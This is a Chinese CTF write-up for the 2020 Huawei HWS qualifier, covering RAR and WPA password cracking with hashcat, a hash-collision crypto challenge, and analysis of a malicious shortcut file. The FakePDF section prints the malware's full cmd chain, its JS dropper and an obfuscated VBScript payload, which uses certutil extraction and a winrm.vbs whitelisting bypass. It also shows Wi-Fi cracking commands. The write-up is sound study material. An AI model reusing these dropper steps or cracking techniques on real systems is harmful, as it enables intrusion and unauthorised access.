2020华为HWS选拔赛WP
好久没打CTF了 陪小姑娘一起耍耍
题目类型有PWN REVERSE MISC CRYPTO 没有WEB自然还是先从MISC入手了
基础破解
确实挺基础的 里面一个rar加密压缩包 直接丢到ARPR里面 跑了四位数字就出来了
近源黑客
这玩意 其实就是个WIFI密码破解
里面是一个pcapng的包
看了下头 是用hcxdumptool
抓下来的
根据压缩包中的注释
const password = *** CENSORED ***;
password.match('/DASCTF\d{4}/');
flag = "DASCTF{" + md5(password) + "}"
使用crunch 10 10 -t DASCTF%%%% > num.txt
生成了字典
结果aircrack-ng
跑不出来
用wireshark
看了下 发现里面有握手包但是不足四次
所以不能用aircrack-ng
于是先hcxpcaptool -z dasctf dasctf.pcapng
转换了格式
然后hashcat -m 16800 dasctf -a 3 -w 3 'DASCTF?d?d?d?d'
就跑出来了
FakePDF
这个题有点神奇 没有拿到Flag但是已经分析的差不多了 因为我不知道怎么调试VB就木有做完
首先是一个lnk的windows快捷方式 使用windows打开 会看到一个一闪而过的cmd 然后打开了一个pdf
运行之后文件的结构似乎会发生改变
于是用linux看了下
20200308-sitrep-48-covid-19.pdf.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Jun 24 19:39:19 2015, mtime=Wed Jun 24 19:39:19 2015, atime=Sat Nov 20 04:17:00 2010, length=302592, window=hidenormalshowminimized
没看出什么特别的
然后看了下快捷方式的指向内容 发现了东西
%SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y
&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y
&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp > %tmp%\\cSi1r0uywDNvDu.
于是顺藤摸瓜 去%tmp%目录中一顿操作 发现了他的工作过程
先模拟他的过程
findstr.exe "TVNDRgAAAA" g4ZokyumBB2gDn.tmp >00hululu
.\msoia.exe -decode .\00hululu 11hahaha
expand .\11hahaha -F:* ./
使用expand
一共释放了三个文件
Microsoft (R) 文件扩展实用程序
版权所有 (c) Microsoft Corporation。保留所有权利。
正在将 ./\9sOXN6Ltf0afe7.js 添加到提取队列
正在将 ./\20200308-sitrep-48-covid-19.pdf 添加到提取队列
正在将 ./\cSi1r0uywDNvDu.tmp 添加到提取队列
正在展开文件 ....
完成展开文件 ...
总共 3 个文件。
格式化了一下 经过解析生成的cSi1r0uywDNvDu.tmp内容为
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
rBOH7OLTCVxzkH = HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):
execute(rBOH7OLTCVxzkH):
function HrtvBsRh3gNUbe(bhhz6HalbOkrki):
for rBOH7OLTCVxzkH= 1 to len(bhhz6HalbOkrki) step 2:
HrtvBsRh3gNUbe = HrtvBsRh3gNUbe & chr(asc(chr("&h" & mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):
next:
end function:
]]> </ms:script>
</stylesheet>
9sOXN6Ltf0afe7.js
var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("
cmd /c mkdir %tmp%\\cscript.exe
& for /r C:\\Windows\\System32\\ %m in (cscr*.exe)
do copy %m %tmp%\\cscript.exe\\msproof.exe /y
& move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
& %tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
& del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q
& \"%tmp%\\20200308-sitrep-48-covid-19.pdf\"
",0);
突然这些操作明了了起来
这个其实是一个攻击手法
使用 winrm.vbs 绕过应用白名单执行任意未签名代码 所以只要将xml中混淆过的vb解出来应该就是flag了
for i= 1 to to len(676d60667a64333665326564333665326564333665326536653265643336656564333665327c) step 2:
flag = flag & chr(asc(chr("&h" & mid(676d60667a64333665326564333665326564333665326536653265643336656564333665327c,i,2)))xor 1):
next:
额 大概就是这样 但是一个是因为比赛时间不够了 一个是因为不知道vb怎么调试 于是没拿到最终的flag
Crypto
一个服务端的python
from hashlib import sha256
import signal
def s2b(s):
res = b''
for i in s:
res += bytes([ord(i)])
return res
def b2s(b):
s = ''
for i in b:
s += chr(i)
return s
class Hash():
def __init__(self):
self.h = 144066263297769815596495629667062367629
self.g = (1 << 88) + 315 #309485009821345068724781371
self.mask = 0xffffffffffffffffffffffffffffffff #340282366920938463463374607431768211455
def encode(self,message):
message = [ord(i) for i in message]
h = self.h
for i in message:
h = ((h+i)*self.g)&self.mask
return h
class Task(BaseRequestHandler):
def dosend(self, msg):
try:
self.request.sendall(msg)
except:
pass
def recvall(self, sz):
try:
r = sz
res = ""
while r > 0:
res += b2s(self.request.recv(r))
if res.endswith("\n"):
r = 0
else:
r = sz - len(res)
res = res.strip()
except:
res = ""
return res.strip("\n")
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = sha256(proof.encode()).hexdigest()
self.request.send(s2b(("sha256(XXXX+%s) == %s\n" % (proof[4:],digest))))
self.request.send(b'Give me XXXX:')
x = self.request.recv(10)
x = b2s(x)
x = x.strip()
if len(x) != 4 or sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
return True
def handle(self):
signal.alarm(300)
if not self.proof_of_work():
return
signal.alarm(300)
self.dosend(b"welcome to eZLogin System!\n")
admin = "admin_is_badmonkey"
hash = Hash()
sig = str(hash.encode(admin))
self.dosend("admin's signature is: ")
self.dosend(s2b(sig+'\n')) #62198197517637162159907352106958695418
try:
while True:
self.dosend(b"Options\n")
self.dosend(b"1.Login\n")
self.dosend(b"2.Register\n")
choice = int(self.recvall(1024))
if choice != 1 and choice != 2:
self.dosend(b"no such choice\n")
break
if choice == 1:
self.dosend(b"give me your username(hex)\n")
username = self.recvall(1024)
username = b2s(bytes.fromhex(username))
usersig = str(hash.encode(username))
print(username)
if username == admin :
self.dosend(b"sorry,you are not badmonkey\n")
break
if usersig == sig:
self.dosend(b"welcome,badmonkey\n")
self.dosend(flag)
break
else:
self.dosend(s2b("welcome,{}\n".format(username)))
else:
self.dosend(b"give me your username(hex)\n")
username = self.recvall(1024)
username = b2s(bytes.fromhex(username))
usersig = str(hash.encode(username))
self.dosend(b"Here is your signature\n")
self.dosend(s2b(usersig+'\n'))
except e:
print(e)
self.dosend(b"wrong input\n")
return False
if __name__ == '__main__':
HOST, PORT = "0.0.0.0", 9999
server = ThreadingTCPServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
注释是我后加的 总共两部分
第一部分是sha256爆破 随手写了个爆破脚本 就可以了
# sha256(4aHR WmCfG8o5dCsQlbXg) == d06abb600b3854aa5bcd61cf30aceac06016f93822d9097e1d9bbfa908d38fca
password = "WyctX8tEbHegSagN"
dig = "25870d38f20b7702cf9f7275e4c19182eb7bdcc62dad954119e2ec6a547bfee5"
dic = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for a in dic:
for b in dic:
for c in dic:
for d in dic:
gantama = a+b+c+d+password
# print(gantama)
if(sha256(gantama.encode()).hexdigest()==dig):
print(a+b+c+d)
exit()
第二部分是fnv2-hash collision 这个就有点麻烦了 找到了一个大佬的gist
被sagemath搞得心态爆炸
然后用了docker 又把代码改成python3 的版本 结果无论怎么运行都说提高K值 小姑娘也搞不懂啥原理
所以搞到最后 也没什么进展
也贴在这吧
from sage.all import *
mod = 2**128
h0 = 144066263297769815596495629667062367629
g = 2**88 + 315
K = 2**128
B = K**2 # big enough
if 1: # short collision
N = 17 # number of bytes
base = [128] * N # close to this value
'''
[128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128]
ASCII: '\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80'
0xfa3824bfb69587b859aa5b77536cd63fL
[192, 123, 55, 93, 181, 109, 138, 206, 172, 80, 67, 129, 208, 102, 150, 56, 159]
ASCII: '\xc0{7]\xb5m\x8a\xce\xacPC\x81\xd0f\x968\x9f'
0xfa3824bfb69587b859aa5b77536cd63fL
'''
else: # readable (second preimage)
base = map(ord, "~~~~ NSU CRYPTO IS FUN! ~~~~")
N = len(base)
'''
[126, 126, 126, 126, 32, 78, 83, 85, 32, 67, 82, 89, 80, 84, 79, 32, 73, 83, 32, 70, 85, 78, 33, 32, 126, 126, 126, 126]
ASCII: '~~~~ NSU CRYPTO IS FUN! ~~~~'
0x8e10c895b91c6cba80b57a5e555b7f6L
[130, 133, 123, 131, 39, 76, 87, 83, 30, 68, 82, 78, 73, 86, 75, 23, 83, 81, 39, 63, 72, 87, 42, 28, 121, 128, 124, 122]
ASCII: "\x82\x85{\x83'LWS\x1eDRNIVK\x17SQ'?HW*\x1cy\x80|z"
0x8e10c895b91c6cba80b57a5e555b7f6L
'''
htarget = 0
m = matrix(ZZ, N + 1, N + 2)
for i in xrange(N):
ge = pow(g, N-i, mod)
m[i,0] = ge
m[i,1+i] = 1
m[N,0] = mod
for i in xrange(N+1):
m[i,0] *= K
ml = m.LLL()
sol = ml.rows()[0]
print "Sol:", sol
if sol[0] != 0:
print "Zero not reached, increase K"
quit()
if not base:
base = [BASE] * N
msg = []
for i in xrange(N):
msg.append(base[i] + sol[1+i])
if not (0 <= msg[-1] <= 255):
print "Need more bytes!"
quit()
def FNV2(msg):
h = h0
for xi in msg:
h = (h + xi) * g % mod
return int(h)
print base
print "ASCII:", `"".join(map(chr, base))`
print hex(FNV2(base)), FNV2(base)
print
print msg
print "ASCII:", `"".join(map(chr, msg))`
print hex(FNV2(msg)), FNV2(base)